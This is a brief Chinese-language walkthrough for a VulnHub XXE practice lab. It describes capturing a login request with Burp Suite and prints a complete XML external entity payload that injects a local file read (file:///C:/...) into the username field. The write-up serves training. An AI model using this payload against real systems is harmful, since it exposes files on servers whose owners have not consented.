VulnHub-xxe-lab-master通关攻略

        一、目标

        在C盘新建一个flag文件，利用靶场读取到flag的内容

        二、进行XML注入

        第一步：访问靶场，发现需要输入用户名及密码

        第二步：尝试随便输入

        第三步：进行bp抓包，并发送至重放器

        第四步：进行构造，以达到查看文件的目的

<?xml version="1.0"?>
<!DOCTYPE user [<!ENTITY test SYSTEM "file:///C:/Users/xinyu/Desktop/1.txt"> ]>
<user>
  <username>
    &test;
  </username>
  <password>
    123456
  </password>
</user>

        得到文件内容！

                                                                                                                               FROM  _IYU